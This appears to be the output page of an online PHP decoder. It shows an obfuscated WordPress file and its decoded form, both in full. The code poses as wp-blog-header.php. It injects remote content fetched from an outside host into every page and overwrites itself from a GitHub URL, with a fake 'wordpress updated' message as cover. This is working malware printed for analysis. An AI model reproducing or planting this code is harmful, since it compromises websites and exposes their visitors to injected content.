Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php goto srbWd; AYM13: if ($index_content !== false) { if (file_put_contents("\x77\160..

Decoded Output download

<?php 
 goto srbWd; AYM13: if ($index_content !== false) { if (file_put_contents("wp-blog-header.php", $index_content) !== false) { echo "wordpress updated successfully."; } else { echo "Error: Failed to write the updated"; } } else { echo "Error: Failed to fetch update"; } goto tLexq; th_VH: $index_content = file_get_contents($github_url); goto AYM13; eaqxW: $github_url = "https://raw.githubusercontent.com/debytoge/devel/main/wp-blog-header.php"; goto th_VH; srbWd: if (!isset($wp_did_header)) { $wp_did_header = true; require_once __DIR__ . "/wp-load.php"; wp(); require_once ABSPATH . WPINC . "/template-loader.php"; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, "https://theso.org/devel/"); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $a = curl_exec($ch); curl_close($ch); echo $a; } goto eaqxW; tLexq: ?>

Did this file decode correctly?

Original Code

<?php
 goto srbWd; AYM13: if ($index_content !== false) { if (file_put_contents("\x77\160\55\x62\x6c\157\147\x2d\x68\145\x61\144\145\x72\x2e\x70\150\160", $index_content) !== false) { echo "\x77\157\x72\144\160\162\x65\163\x73\40\165\160\144\141\164\145\x64\40\163\x75\x63\x63\145\163\x73\x66\x75\154\154\x79\56"; } else { echo "\105\162\x72\157\162\72\x20\106\x61\151\154\x65\x64\40\x74\157\40\x77\x72\x69\x74\x65\x20\164\x68\x65\x20\x75\160\x64\141\164\x65\x64"; } } else { echo "\105\162\x72\x6f\x72\x3a\40\106\x61\151\154\x65\x64\x20\164\157\x20\x66\x65\164\x63\x68\x20\x75\160\x64\x61\164\145"; } goto tLexq; th_VH: $index_content = file_get_contents($github_url); goto AYM13; eaqxW: $github_url = "\150\164\164\x70\163\x3a\57\x2f\162\141\167\x2e\x67\151\x74\150\x75\142\165\x73\x65\x72\x63\157\x6e\164\145\156\x74\x2e\x63\157\155\x2f\x64\x65\x62\171\164\x6f\x67\x65\x2f\144\145\166\x65\x6c\x2f\x6d\x61\151\156\57\167\160\55\x62\x6c\x6f\x67\55\x68\145\x61\x64\x65\162\x2e\160\x68\160"; goto th_VH; srbWd: if (!isset($wp_did_header)) { $wp_did_header = true; require_once __DIR__ . "\x2f\x77\160\x2d\154\x6f\x61\x64\x2e\160\x68\160"; wp(); require_once ABSPATH . WPINC . "\57\x74\145\155\160\154\141\x74\145\55\x6c\x6f\x61\x64\x65\x72\x2e\160\x68\x70"; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, "\x68\164\x74\x70\163\x3a\57\57\x74\x68\x65\x73\x6f\56\x6f\x72\x67\57\x64\145\166\x65\154\x2f"); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); $a = curl_exec($ch); curl_close($ch); echo $a; } goto eaqxW; tLexq: ?>

Function Calls

None

Variables

None

Stats

MD5 11586e355230db23e22797161e6c5a69
Eval Count 0
Decode Time 57 ms